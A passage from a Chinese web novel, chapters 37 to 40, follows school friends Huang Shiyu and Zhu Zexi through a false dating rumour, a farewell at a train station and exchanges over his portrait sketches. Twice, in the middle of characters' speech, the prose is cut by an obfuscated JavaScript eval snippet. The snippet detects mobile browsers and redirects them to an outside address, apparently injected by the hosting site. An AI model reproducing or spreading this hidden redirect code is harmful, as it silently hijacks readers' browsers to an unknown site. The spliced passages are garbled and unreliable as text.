每隔一段距离就有一支广场舞队,音乐声被江风送到黄时雨的耳朵里,又被江风吹散,舞蹈的人们的步伐都比白日里慢上半拍,仿佛要把这夏夜里的温柔全部揉碎后,一点一点慢慢品尝。 黄时雨的心情也在这光影交错之间,被一点点修复。 社会上的人形形色色,有人低头赶路,有人自在享乐,有人独善其身,有人兼济天下,也有人喜欢自封评委,给生活中的每一个人打分。 忽然,吴笙笙温热的手掌搭在了黄时雨的手背上。 手背上传来的一丝细微的颤抖将她的目光从江边美景中收回来,跟吴笙笙温和的目光有了一瞬间的交叠。 吴笙笙:“?” 黄时雨:“!” 37. 第三十七次招惹 补课期间基本不会布置作业,所有练习都是在课堂上完成的。 黄时雨吃完宵夜并不急着睡觉,而是从抽屉里拿出之前整理的人文社科内容的资料。 经过这些天的思考,黄时雨越来越感觉到,这个学习方向,日后可能真的会成为自己奋斗一辈子的人生理想。 黄时雨打开手机,想着再进一步了解一下这个大类下的各细分专业。 突然手机顶端弹出一条新闻—— “一女子因衣着暴露在街头……” 黄时雨心里隐隐感觉这标题有点奇怪,但又具体说不上来。 点进去后才发现,完整的标题是“一女子因衣着暴露在街头遭遇猥亵”。 黄时雨把这条新闻从头到尾浏览了一遍,发现一大半的篇幅都在写女子的生活方式,社交圈子,只有最后几段在写猥亵事件的具体情况。 她突然反应过来这篇新闻的问题究竟在那里,明明被猥亵才是应该被大幅报道的内容,明明犯罪者才是应该用摄像头对准的人,可是这篇新闻却花大量篇幅描写女子的日常生活,企图用花边新闻吸引读者眼球,降低大家对于猥亵严重性的敏感度。 女子的长相被公之于众,猥亵实施者的样子却被保护得很好。 这样对吗,黄时雨边叹气边摇头。 黄时雨下意识点击了右下角的“举报”,选择了“人身攻击”作为举报理由。 她不知道这样一个微乎其微的举动是否能有帮助,她只知道尽一点力,也许这个女子的隐私就能得到更多保护。 而对面隔着两栋楼距离的祝则溪也正坐在书桌边,正在努力画下每一天黄时雨的样子。 补课时间只有二十天,二十天后,祝则溪就要去通林市进行封闭式的美术集训,期间还要不断参加联考、校考,他想要更多地留下关于黄时雨的记忆,哪怕过程很累,哪怕形式很单一。 台灯投下的一圈圈光晕在纸上摊开,祝则溪几乎不需要构思,买零食的黄时雨、在走廊聊天的黄时雨、写作业的黄时雨很快都跃然纸上。 他是黄时雨生活的记录者,而黄时雨则是他美术能力进步的见证者。 补课期间是没有周末的,每四天的课程安排为一组,一共五组。 第一节课依然是数学课,祝则溪从书桌里掏出数学书,封面上的便利贴因为贴得不够紧,在课本摩擦中飘到了地上。 祝则溪弯腰捡起,一眼就认出这是黄时雨的字迹。 短短两行字,祝则溪翻来覆去看了好几遍,直到齐章年用胳膊提醒他小陈老师进来了,祝则溪才恋恋不舍地把便利贴塞到书包右侧的小袋子里。 “今天又准备给黄时雨准备什么小惊喜啊?” 刚下课,齐章年把教材一盖,就凑到祝则溪眼巴前。 祝则溪的脸上瞬间浮现出被人看穿的窘迫,但他也没否认,“你别问了,我还没想好。” 傍晚,当黄时雨走进一班教室,这个谜底才最终得以揭晓—— 一袋黄时雨之前在超市经常买的棒棒糖。 他怎么知道我喜欢吃这个啊,还是一不小心恰好猜中了,黄时雨虽然有点疑惑,却也不客气地撕开包装袋,拿起一根边吃边想。 祝则溪刚好抱着书从办公室回来,正好看到黄时雨把一根棒棒糖塞进鼓起的脸颊里。 祝则溪像是被黄时雨可爱到了,走到课桌前俯下身,“好吃吗?” 黄时雨猛地抬头,看着祝则溪疯狂点头,“好吃啊!超级好吃!” 好像小河豚啊,祝则溪别过脸轻笑一声。 “你又去问数学题了?” “对,问这个。” 黄时雨看着祝则溪指给她的那道选择题,怎么有一种似曾相识的感觉。 “噢,我之前做过这个题来着,很简单,主要是辅助线不好想。” 祝则溪看起来若有所思,手指无意识地敲着桌面,“嗯,还有就是这几道变形,虽然说是同一种类型的,但是也有一点难度。” “我看看哈,”黄时雨把书拿过来,眼睛凑上去仔细思考。 祝则溪双手撑在桌子边沿,偏头一动不动地注视着黄时雨专注思考的侧脸。 “哟,谈恋爱呢?” 陈幸闻不知道什么时候进来的,坐在后面冷不丁地冒出一句没有半分根据的谣言。 两个人心里陡然一震。 “你胡说什么呢?” 祝则溪直起身子,垂眸盯着眼前这个莫名其妙的人。 “而且口说无凭,你这就是造谣,懂吗?”黄时雨也转过身,跟祝则溪一样冷冰冰地看着他。 陈幸闻不屑地“切”了一声,双臂交叉放在胸前,坐在椅子上一晃一晃的,“那你们有证据证明你们俩没谈吗?” “我为什么要证明这个,”黄时雨站起来,拿出打辩论的气势,“我跟他就是普通同学的关系,有什么需要特别证明的,你今天诬告我们俩是恋爱关系,那就请你拿出证据,否则就是空口造谣。” 陈幸闻挑了挑眉,一脸无所谓的态度,那种吊儿郎当的样子黄时雨看了直犯恶心。 祝则溪又警告了他几句,转头安抚黄时雨,“没事,他应该不敢怎么样,如果有任何情况,记得随时联系我。” 黄时雨转头看着蹲在旁边的祝则溪,他眼睛里的温柔让黄时雨顿时心安了不少。 “嗯,”黄时雨抬头看了一眼时间,催促道,“快上课了,你先走吧。” 黄时雨三两口把嘴里的棒棒糖咬碎,把桌上和上课无关的书本帮祝则溪全部收到了桌子里。 黄时雨原本以为这件事就这样结束了,毕竟这就是个谣传,也没什么说服力。 可令人没想到的是——很快,老赵和老刘就拿到了一张照片,从拍摄角度来看,就是那天陈幸闻在教室门口拍的。 黄时雨正好端端地坐在教室里听老赵讲课,一阵下课铃把上课和下课分隔开,老赵走出教室时,那一句“黄时雨,来我办公室一趟”把黄时雨当天的快乐和疑惑的心情分隔开。 黄时雨本来就是班长,平时去老赵办公室的机会非常多,只是最近既没有出成绩,又没有学校活动,为什么会无缘无故地找自己去办公室呢,黄时雨想不明白。 带着疑惑,黄时雨跟着老赵推开了办公室的门。 办公室的空调开得有点大,将桌上的试卷掀起一角。 黄时雨一眼就注意到了站在窗户边的老刘,以及笔直地站在老刘身边的祝则溪。 他垂在身侧的手指微微发抖,听到门口的动静,才缓缓抬头。 “过来,”老赵示意黄时雨过去。 两个老师一脸严肃地在并排站着的黄时雨和祝则溪之间来回扫视,老刘叹了口气,把手机打开,把照片放到两个人眼前—— 照片上是之前黄时雨坐在一班教室里给祝则溪看数学题的情景。 而这个容易让人误会的拍摄角度,很明显是专门选择过的,黄时雨明明记得两人之间隔了一段距离,但从照片上看,却像是黄时雨钻在祝则溪怀里一样。 是个人看了都会误会。 “这个照片里边是你们俩吧,拍得也很清楚,你们还有什么要解释的吗?” 老刘在这边严肃批评,老赵在那边苦口劝说。 但黄时雨和祝则溪两人都保持沉默,默不作声。 “黄时雨啊,我一直都觉得你是一个很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651306|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听话的姑娘,学习上很用功,跟同学之间相处得也很不错,是一个很外向、很积极、很上进的人,我之前还批评蒲杰早恋,那一次你也听到了吧,怎么还不引以为戒,还要自己来犯呢?” 黄时雨可不是什么人都能欺负两下的人。 她抬起头,缓缓道来—— “赵老师,刘老师,我和祝则溪就是单纯的朋友或者说同学关系,我这段时间进行英语培训坐的是他的座位,他回来放书的时候,我顺便帮他看了一下数学题,这个照片我不确定是谁拍的,但是这个照片因为呈现角度的问题有点容易让人误解,实际上当时我和祝则溪之间有很大一块距离,更不要说什么早恋了,是绝对没有发生的事情。” 老刘看到黄时雨拒不承认的态度,更是气不打一处来,“图片摆着呢黄时雨,你告诉我,还要怎么证明你才承认?” “两位老师,我们真的没谈恋爱,班上的同学都能证明。” “班上的同学,”老刘收起手机,重复了一遍祝则溪的话,“那也行,反正下节课就是我的,到时候我问问,如果有三个人以上能证明你们俩没谈恋爱,那我们就不追究了。” 黄时雨深吸一口气,开篇一张图就能随便给人造谣,真要辟谣的时候,又难于上青天。 老刘话音刚落,办公室的门突然被轻轻叩响。 “请进!” “我可以证明黄时雨和祝则溪没有谈恋爱!” 走在最前面的小赵姐率先举手发言。 “我也可以证明!” 罗亦芃接着说。 “我也可以证明!” 卜佳继续补充。 紧接着从门口又挤进来好几个同学。 平时沉默寡言、一心只扑在学习上的黎果、大大咧咧却很讲义气的齐章年、之前刚跟黄时雨一起打过辩论赛的熊毅丰,他们像想跃出水面呼吸的鱼,一个接一个地冒出来,办公室里的人气一下子兴旺了起来。 黄时雨和祝则溪看到这个场面都愣住了。 老赵和老刘也愣住了。 “你们都能保证吗,确定?” 老刘一个一个扫过站在办公室里的每一位学生,试图从他们的眼睛里看出每个人的真实想法。 “确定!” 前来作证的同学们异口同声。 老刘轻咳一声,只好顺着刚才说过的话继续往下说,“既然这么多同学都来帮你俩证明,那我就相信大家说的是真的,也相信你们俩之间确实没什么,也希望你们俩不要辜负我们的信任。” 黄时雨转头看向那一排为自己撑腰的人,刚好跟小赵姐对视了一眼,并收到了一个wink。 老赵也松了口,“行,那就这样吧,同学们都回去吧。” 一出办公室,黄时雨就忍不住拉着大家问刚刚那是什么情况。 大家把黄时雨和祝则溪围在中间,你一言我一语地回答—— “是吴笙笙来找我们的!” “她说有人冤枉你们谈恋爱,需要人证!” “那笙笙怎么自己不来啊?”黄时雨半信半疑。 卜佳说,“因为她说她的可信度太低了,老师们肯定不信。” “说错了啊,我是主动来的,我不一样,”小赵姐突然插话,得意地揽住黄时雨的肩膀。 “我也是在走廊上听到之后主动来的啊,怎么就你不一样,”熊毅丰在旁边故意挑衅,还朝着小赵姐做鬼脸。 “熊毅丰,你完了!” 早就料到赵然会来这一招,熊毅丰立刻冲出人群沿着连廊往前跑,小赵姐在后面疯狂追赶,嘴里还忍不住念念有词—— “就你长嘴了是吧,你给我站住!” 38. 第三十八次招惹 “快去看光荣榜,快走!” 刚从卫生间出来的黄时雨和吴笙笙眼看着好几个人从自己眼前跑过去,然后飞速往楼下跑。 什么情况,这成绩单都没出来呢,光荣榜先出来了?! 两个人不明所以地也跟着其他人往楼下跑。 “救命,我不敢去看!” “高二期末考试光荣榜”几个红色大字非常醒目,黄时雨紧张得蒙住了眼睛。 “哎呀没事,我先替你看啊,”吴笙笙紧紧牵着黄时雨的胳膊,生怕蒙着眼的她被别人撞到。 光荣榜前人头攒动,热浪聚集,吴笙笙努力一跳,想着跳起来能不能看到点什么。 啥也看不见,吴笙笙只好放弃这个方法,拉着黄时雨一点一点往里挤。 感觉到吴笙笙好像停下来了,黄时雨小心开口,“笙笙,有我的名字吗?” “有!” 听到吴笙笙这兴奋的一嗓子,黄时雨立刻松开手,顺着吴笙笙指的方向一眼就捕捉到了自己的名字。 “天呐,我竟然是第11名!” 黄时雨不可置信地捂住嘴,兴奋而雀跃的神情却从眼睛里不受控制地淌出来。 吴笙笙也拉着黄时雨的手替她开心,同时开始了她的理性分析,“你看,你就差五分就上年级前十了,那下次进年级前十不是稳稳的!” “嗯!” 黄时雨仔仔细细地把榜单看了一遍,发现自己同时还是英语的单科第一。 两人正退出来准备回教室时,迎面撞上同样准备过来看成绩的陈幸闻。 此时不报,更待何时! 黄时雨快速清了清嗓子,趁着两人擦肩而过的间隙,用只有对方才能听到的声音说—— “某人这次,是不是没上光荣榜啊。” 没等陈幸闻回过神来,黄时雨就大步流星地走开了。 大仇得报的感觉就是好,黄时雨哼着歌往教室走,就算是七月天的大太阳,在此刻也显得特别可爱。 从那天开始,黄时雨和陈幸闻就彻底断了联系。 黄时雨继续每天坐在祝则溪的座位上准备英语竞赛,也依然每天都会收到祝则溪提前准备好的各种“小惊喜”。 比如:漂亮的笔记本,新口味的零食,一小束花,小发夹之类的。 对于黄时雨来说,每天傍晚走进一班教室都跟拆盲盒一样,永远猜不到祝则溪今天又会从他的小口袋里掏出什么宝贝。 同样的,黄时雨也每天都会给祝则溪留下一张便利贴,每天都是不一样的新称呼。 比如:祝大帅哥,小祝老师,小溪,则溪哥之类的。 二十天的补课时间说快也快,说慢也慢。 满城的七月天比较湿热,空气都好像凝固了一般,只要从开着空调的教室出去上个厕所回来,衣服必会被汗水打湿,黏黏糊糊地贴在身上。 “祝则溪,你明天几点的高铁?” 虽然还没到放学的时间,但这毕竟是最后一天补课,教室里不闹腾是不可能的。 祝则溪的书包里没装几本书,俯身把所有课本都放进了桌下的大箱子里。 “明天下午两点,你是待会儿就走吗?” “对,晚上八点,我昨天就已经把生活用品都寄过去了,最迟明天就到。” 祝则溪和齐章年选择了同一家封闭式美术集训基地,又恰巧被分到了同一间宿舍。 “嗯好,”祝则溪头也不抬地继续收拾书本。 “诶对了,你跟黄时雨说这事了吗?” “说了,昨天她来我们班培训英语竞赛的时候我就说了。” 齐章年若有所思地点点头,“那她明天去送你吗?” 祝则溪手上的动作忽然停下来,其实他心里也有和齐章年一样的疑问。 只不过,可能还多了一点期待。 “不知道。” “从今天开始,我们正式开始放暑假,今年的暑假一共有16天,8月16号收假,这16天里,大家一定要做好统筹安排,什么时间段学习,什么时间段休息,要张弛有度,劳逸结合,希望收假回来之后,大家能有一个崭新的面貌!” 每一次放假,老赵都会发表一番慷概激昂的陈词,给同学们打满鸡血。 但真正听进去的同学甚少,大家都忙着收拾各自的书包、桌子、箱子,老赵也不甚在意,仿佛这段话只是一个学期结束的标志,负责把整个进度条填满就行。 回到家,黄时雨往床上一躺,暖融融的被子仿佛把一切疲劳和烦恼都隔绝在了外部,黄时雨忍不住抱着被子在床上滚了好几圈。 明天好好休息一天,后天写一天作业,大后天就去妈妈答应好的欢乐谷玩,毕竟这个暑假要劳逸结合,那先逸后劳也很合理。 虽然即将到来的高三将是一场持久战,但这几天的行程安排还是很有盼头的。 黄时雨从床头摸出手机,一条好友申请正静静地躺在消息栏里。 黄时雨点进去一看,发现申请人是祝则溪。 要通过吗,黄时雨的手指顿了顿,一直没有落到“通过”上。 和祝则溪认识到现在也快有一年了,虽然谈不上关系有多硬,但是当个普通朋友还是没问题的吧。 更何况,自己已经确认对他没有其他奇怪的感情了,那就加上吧。 黄时雨自我认同地点点头。 “我通过了你的好友验证请求,现在我们可以开始聊天了”。 对话框上方显示“对方正在输入中”,一直持续了大概两分钟,黄时雨这边才收到消息—— “你明天要写作业吗?” 黄时雨立刻读出这句话隐藏的含义,于是回复道,“我明天去高铁站送你。” “你的高铁是几点啊?” “下午两点。” 下午两点,从家里过去差不多半个小时,一点出发正合适。 “好,”黄时雨在后面又紧跟了一个可爱小熊表情包。 明天就走,明年三月份才回来,整整八个月,黄时雨在心里简单算了一下。 发完消息,放下手机,黄时雨仰头瘫到被子里。 明明规划了那么多放假之后要做的事,看电影、逛街、吃火锅、追剧……但等真的进入假期时,才发现自己一动也不想动。 原来,床才是一个疲劳的人最好的归宿。 黄时雨一觉睡到第二天中午,爸爸妈妈出去上班也没有叫醒她。 走出卧室,黄时雨打开冰箱门,里面还有昨天的剩菜。 行吧,管不了那么多了,时间不多,这顿午饭就这样糊弄过去算了。 吃完饭,另一件令黄时雨头大的事情又来了——穿什么衣服。 打开衣柜,一柜子的衣服满满当当,黄时雨一头钻进去,两只手在里面左右扑腾。 “这条红裙子怎么样,不行,太长了,”黄时雨努力从衣柜里扯出来,又被无情地丢弃到床上; “这件粉色短袖和白色裙子呢,不行,这条白色裙子穿过了,”很好,又被黄时雨pass掉。 “这件……天蓝色连衣裙不错,新买的,第一次穿,再搭一个白色披肩,就它了!” 黄时雨果断换好衣服,对着镜子快速整理了一下发型,“差不多了,出发!” 可能因为今天是周内,而且现在正是艳阳天,这趟出租车开得格外顺利,一点都没有堵车。 到达高铁站的时候,居然比黄时雨预想的一点半还要早十分钟。 满城的高铁站不大,在安检口一眼就能看完整个大厅,黄时雨看了一眼车站大屏,时间还早,高铁都还没来。 大厅里的人稀稀拉拉的,黄时雨选择了最靠近安检口的一个座位坐下,眼神在入口处来回搜寻祝则溪的身影。 突然,一个穿着白色衬衫、牛仔长裤,戴着白 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车站广播突然响起,敲响了离别倒计时的钟声。 黄时雨和祝则溪几乎同时站起来。 “拜拜咯,九月见!” 眼看着排队的人越来越多,黄时雨把祝则溪往队伍里推了一把,示意他快点过去。 祝则溪排在队伍最后面,手心沁出的汗让拉杆变得湿滑。 他偷偷撇向身旁的黄时雨——她正眯着眼睛望向电子大屏上的车次信息,睫毛在阳光下渡上了一层金边。 感受到祝则溪灼热的目光,黄时雨转头疑惑地看着他。 祝则溪在人群喧哗中突然开口,“我……” 他的手抠住行李箱的拉杆,像被人使了定身术一样站在原地欲言又止。 “嗯?” 他叹了口气,像是下定了某种决心,眼睛里闪烁出惹人怜爱的目光。 “我可以跟你拥抱一下吗?” 黄时雨立刻回神,正对上祝则溪那双湿漉漉的眼睛。 他抿着嘴,手指无意识地扣着衣角,“不可以也没关系,我……” 她的心里顿时湿润一片。 “可以。” 她想,自己没有任何理由拒绝,也没有任何理由违背自己的内心。 祝则溪抬眼的一瞬间,眼角里还闪着泪花,嘴角却忍不住上扬,两种表情在他的脸上呈现出一种奇怪的和谐。 黄时雨轻轻走上前,祝则溪立刻心领神会,张开双臂把她拥入怀中。 他的手轻轻碰到黄时雨的背,身体像通过了一阵电流,再也不敢往前一步,只是抬手温柔地拍了拍,在低头闻到她发间洗发水的玫瑰味的瞬间,脑子还没反应过来,手就已经慌忙松开了。 甚至黄时雨都没来得及感受祝则溪怀里的温度。 这个拥抱短暂得像一阵穿堂风。 黄时雨抬头时,分明看到了祝则溪额头上瞬间浸出的汗珠。 他低头整理了一下衣服,像在掩饰内心的慌乱。 等他再抬头时,已经戴好了口罩,下半张脸被遮得严严实实的,只留下一双眼睛,正在诉说爱与思念。 黄时雨陪着他跟着队伍一步一步往前挪。 到达闸机口,祝则溪不敢再犹豫,把身份证往扫描处一放,闸机通道瞬间亮起绿色通行灯。 黄时雨目送着他往前走,手里的手机突然震动了一下,是祝则溪发来的消息—— “你先走,我看着你走。” 她抬起头,正对上祝则溪越过人群投来的温柔目光。 祝则溪轻轻点了点头,好像有什么秘密吹散在了炽热的铁轨之间。 黄时雨深吸一口气,在转身之前挥手做了最后一次道别。 ——祝则溪,祝你的未来之路永远灿烂光明! 39. 第三十九次招惹 从高铁站回到家,已经快三点了。 距离爸爸妈妈下班还有最后三小时,黄时雨赶紧从书包里掏出作业,拿起笔迅速投入到学习之中。 手机屏幕忽然亮了,是爸爸发来的一条语音——“苗苗,记得把冰箱里的肉拿出来解冻啊,晚上给你弄炒饭吃。” 黄时雨简单回复了一个“好”字,起身去厨房。 帮爸妈解冻肉,是每一个放假在家的小孩必做的每日任务。 黄时雨熟练地把肉放到袋子里做好密封,然后接满自来水浸泡化冻。 完成任务后,黄时雨回到卧室,继续攻克“作业大军”。 突然吴笙笙一个电话打进来,正在数学卷子上画辅助线的黄时雨手一抖,辅助线一下子拉到图形外面去了。 “咋了,笙笙?” 黄时雨边拿起橡皮边接通电话。 吴笙笙语速超快地复述了一遍刚刚她收到李斯巧发来的消息的事情,黄时雨皱着眉头,努力从这些情感丰富的内容里找出真正有用的—— “等一下等一下,也就是说,李斯巧学姐下周要回满城,她想约你见面,对吧?” 黄时雨把手机放到桌子上,按了个免提,吴笙笙的声音瞬间从手机里喷涌而出。 “对!” “学姐是不是也叫你了?” 黄时雨刚想说没有又怀疑是自己错过了,赶忙点进微信聊天框里查看有没有什么看漏的消息。 刚点进去,对面就发来了新消息——“黄时雨,我下周要回一趟满城,可能要待几天,如果你有空的话,咱们一起出来聊一聊吧,对了,我刚刚还叫上了吴笙笙。” “也叫我了,刚刚发的!” 黄时雨冲着电话那头回答。 “我就知道,”吴笙笙一副未卜先知的语气。 “我估计是聊聊关于大学专业的事情吧,你之前不是问人工智能专业嘛,我也决定了我要学社会学,应该是这样。” 门外传来一阵脚步声,听起来走得很快很急,这对黄时雨来说太熟悉了,明摆着是黄曲山回来的标志。 “苗苗,我回来啦!” 黄时雨打开门,黄爸爸得意地扬了扬手里的冰粉,“路过你们校门口那家冰粉店,我看外面写着新口味冰粉,就进去给你打包了一份,快尝尝。” “哇,”黄时雨敲开盖子,里面满满都是水果,什么草莓、蓝莓、猕猴桃、葡萄一应俱全,“爸爸,我太爱你了!” 黄时雨舀起一勺,先喂给爸爸吃,一脸期待地问,“怎么样?” “好吃,太爽了!” 黄时雨换了个勺子,自己也尝了一口,“冰冰凉凉的,这味道绝了!” 黄爸爸看着黄时雨埋头狼吞虎咽,忍不住伸手拍了拍她的头,“那你快吃,我准备去做饭了啊。” 黄时雨抽空抬头答应了一声,然后又埋头三下五除二就把满满当当的一碗冰粉全装进肚子里了。 她拿起手机,上面居然一条消息都没有。 确切的说,是一条来自祝则溪的消息都没有。 奇怪,不是说让他到了之后跟我说一声吗,难道是搞忘了? 黄时雨点进微信又退出来,如此反复了好几次,对话框里依然安安静静,没有冒出任何红点点。 “爸爸,我下载一个小红书啊,开学了我就删掉!” 学期内,黄时雨的手机一直保持着0个短视频软件的记录,只有每次放寒暑假的时候才能有机会下载下来刷刷视频,只要一开学,为了防止沉迷手机等危害,即使爸妈不检查,黄时雨也会主动删除,这也就是爸爸妈妈总说黄时雨的学习从来不让大人操心的原因之一。 “你下吧,不过一定要注意时间安排啊,”黄爸爸在厨房边切菜边回答。 小红书很快下载完成,黄时雨悠闲地靠在椅背上,右手大拇指不停地往上翻页。 对于一个已经好几个月没刷过短视频的人来说,看什么内容都是新鲜有趣的,什么五光十色、光怪陆离的视频黄时雨都看得津津有味。 正看的起劲呢,祝则溪发来了一张图片。 黄时雨立刻点进微信,是一张祝则溪画的画——画面上,黄时雨正站在检票口外挥手告别,周围来来往往的人都是虚影,只有黄时雨的表情和动作显得那么真真切切,就连她因为阳光强烈而轻微皱眉、发丝因为空调风被轻轻吹起的弧度都认真勾勒了出来。 黄时雨毫不犹豫地点击“保存”,然后立刻回复,“画得好好啊,真的很像我!” “你画了多久啊?” 黄时雨虽然不大懂美术,但隐约感觉画人像应该还是挺难的,估计得花不少时间。 “没多久,因为我经常画。” 不知道什么原因这条消息又很快被撤回,随后补了一句新的,“没多久,因为我经常画人像。” 黄时雨又点进去反复观赏这幅画,虽然是用铅笔画的,但仿佛能从中看到色彩和情绪,既有对分别的不舍也有对未知的渴望,黄时雨默默在心里给祝则溪竖起大拇指。 画面右下角,黄时雨发现祝则溪的拖鞋露出来了,猜测他应该是已经到基地宿舍了。 “你到宿舍了吗?” “刚到,还没收拾行李。” 黄时雨疑惑,“那这幅画是你在高铁上画的吗?” 对面几乎是秒回,“对,因为害怕忘记细节,所以一坐上高铁就开始画。” 黄时雨发过去一个“小熊抱拳”的表情包,祝则溪立马回过来一个小熊敬礼的表情包,黄时雨一秒发现,这些小熊表情包出自同一个作者。 这么巧吗,黄时雨下意识挑了挑眉。 吃完饭,黄时雨又投入到紧张的学习之中。 黄时雨放假写作业的逻辑是:前半段时间疯狂写,夜以继日地写,后半段时间疯狂休息,或者查漏补缺。 黄时雨一边写一边期待着对面“学伴”什么时候上线。 她写完一套英语卷子,又写完半套数学卷子,一直到晚上十点,对面那位“学伴”都不见踪影。 连窗帘都遮得严严实实的,没有露出一丝缝隙。 黄时雨原本以为放假第一天,他可能想休息休息,但是直到第二天、第三天、第四天……对面那位“学伴”晚上都没有上线,甚至连白天的时候,对面也是窗帘紧闭。 黄时雨对他的印象瞬间一落千丈—— 居然一放假就如此松懈,如此怠惰,这样看来这人也不怎么上进嘛。 满城正式进入持续高温天气,黄时雨已经快一个星期没有出门了,爸妈都在上班,自己天天待在空调房里奋笔疾书,无聊的时候就刷刷短视频,一天一天就这样过去了。 直到李斯巧回满城的那一天。 原本约好了下午两点在学校前门的咖啡厅见面,黄时雨心想不能让学姐等自己,必须要拿出应有的诚意,于是罕见地提前半个小时就到了。 黄时雨推开咖啡厅的大门,一股凉气扑面而来,把身上裹挟的热浪轻轻吹散,黄时雨不由得裹紧了身上的防晒外套。咖啡厅里人不多,部分卡座的帘子被拉上,里面偶尔传来几声不咸不淡的交谈,大厅里的人基本人手一杯咖啡、一台笔记本,眼睛紧盯着电脑屏幕,手指同步在键盘上上上下下来回飞舞。 估摸着另外两位应该也快到了,黄时雨招呼服务生点了三杯咖啡。 “黄时雨,好久不见!” 李斯巧穿着白色长款连衣裙,长长的黑色卷发随意地披在肩上,左耳边还夹着一朵黄白相间的小花发夹,给整体造型增加了不少氛围。 她走近微笑着跟黄时雨打招呼,轻轻捋了一下裙子,在黄时雨对面坐下了。 黄时雨立刻抬头,把咖啡往李斯巧面前推了推,“好久不见学姐,你快尝尝合不合口味。” 李斯巧不紧不慢地抿了一口,脸上浮现出更深的笑意,“很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678894|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好喝。” “抱歉,我来晚了!” 一道焦急的声音从门口传来,李斯巧和黄时雨都忍不住转头看过去。 吴笙笙推门而入,一边喘着气一边向李斯巧表示歉意,“不好意思学姐,家里有点事情耽搁了。” “没事没事,”李斯巧低头看了一眼手机,拿起来指着时间说,“还提前了三分钟,不算迟到。” 看到吴笙笙在自己身边坐下,黄时雨在桌下偷偷捏了一下她的手指。 三个人在一起随意交流了一会儿,关于近段时间的学习状态、高三的学习方法、面对压力的解决办法等,李斯巧尽可能把自己的经验毫无保留地分享给了两位学妹。 “总之,高三是整个高中三年里最辛苦的一年,也是成绩变化浮动最大的一年,会有曾经很辉煌的同学一落千丈,也会有不少黑马同学杀出重围,你们一定要稳住心态,千万不要过度焦虑。” 黄时雨和吴笙笙都坚定地点头。 李斯巧这才进入下一步,拿出自己提前准备好的资料,一份是关于社会学专业的内容,一份是关于人工智能专业的内容,黄时雨和吴笙笙各自从李斯巧手中领到相应的资料。 资料上内容很全,从具体的专业课程设置到保研安排都应有尽有。 黄时雨和吴笙笙忍不住发出一阵惊叹,“这也太全了吧,谢谢学姐!” 李斯巧等着她们基本浏览了一遍之后,才继续往下说,“这段时间,我专门从这两个学院那边打听了一些内部消息,全部整理到这上面了,你们可以根据这份资料再确认一下自己的想法。” “谢谢学姐,太感谢了,”黄时雨和吴笙笙异口同声。 “不客气。” 李斯巧把最后一口咖啡喝完,起身告辞,“那我先走一步了,等会儿还有点别的事,有什么问题记得微信沟通哦。” 两人立刻站起来,目送李斯巧推门离开。 拉开窗帘隔着玻璃往外看,刺眼的阳光瞬间照得黄时雨睁不开眼,于是两人决定在咖啡店再坐一会儿再回家。 “苗苗,我把咖啡的钱转给你吧,”吴笙笙说着就要掏手机准备转账。 黄时雨急忙按住她的手,快速构思编了一个谎,“咖啡是学姐请的,不是我。” 吴笙笙突然愣住,看向黄时雨的眼神带着些许怀疑,黄时雨赶紧笃定地点点头,直到确认吴笙笙打消疑虑后才镇定自若地移开目光。 “笙笙,我给你看这个,”黄时雨点开相册里祝则溪发来的在高铁站的画,“是不是挺好看的?” 吴笙笙凑近仔细观察,好一会儿才给出答案,“嗯……确实画得很好,祝则溪画的?” “对啊,那天我去送他嘛,而且他还是在高铁上完成的这幅画,真的很厉害!” 正说着,祝则溪弹出了一条新消息—— “一幅被老师表扬的作品,”紧接着又发来了一张画。 黄时雨和吴笙笙两个脑袋紧紧靠在一起。 画面上,是黄时雨在辩论场上滔滔不绝地输出自己观点的样子,一手拿着资料,一手拿着笔,眉毛因为眼睛的瞪大而微微上扬,眼神坚定地注视前方,嘴唇微张,显得颇有气势。 黄时雨和吴笙笙同时笑出来。 黄时雨快速打字,“画得倒是很好,不过下次如果再画我的话,我就要收版权费了哦!” “版权费多少?” “还没想好,不过可以先记账。” 祝则溪在对面忍不住笑出声,坐在旁边练习的齐章年和另外几个同学一头雾水,纷纷朝祝则溪投来一个个疑惑的表情。 “对不起对不起,”祝则溪立刻收起表情,双手合十用气音小声道歉。 “你笑啥呢?” 齐章年放下画笔,往祝则溪身边挪了一下,伸长脖子一眼就看到了和黄时雨聊天的微信界面。 “啧,”齐章年一脸嫌弃,“你真是没救了。” 40. 第四十次招惹 画室、食堂、宿舍,三点一线的生活构成了祝则溪的全部。 从开始美术集训到现在,差不多快半个月了,除了偶尔陪齐章年出去买东西,祝则溪几乎不会踏出基地半步,连齐章年都评价他是——一个无情的画画机器。 当然,这个“机器”也有休息的时候,那就是睡觉,外加跟黄时雨聊天。 祝则溪差不多每天都是最后一个从画室走的,他每天都会在完成基本任务的前提下,额外多画一幅人像,既是练笔,也是缓解思念。 也许只有这样,当我看向你时,你也在看向我。 “你今天怎么比平时更晚了,”齐章年从床上探出头,“差不多晚了半个小时。” “我也不知道,感觉有点没头绪,一直画不好。” 培训基地的宿舍是四人间,两个上下床,齐章年睡在祝则溪的上铺。 “你还画得不好啊,那我这种都不敢说话了,”另一边的魏闲放下手机揉了揉眼睛。 齐章年赶紧纠正,“魏闲,他说的不是课程作业,是他额外画的。” 祝则溪轻轻咳嗽了一声,示意齐章年别再说了。 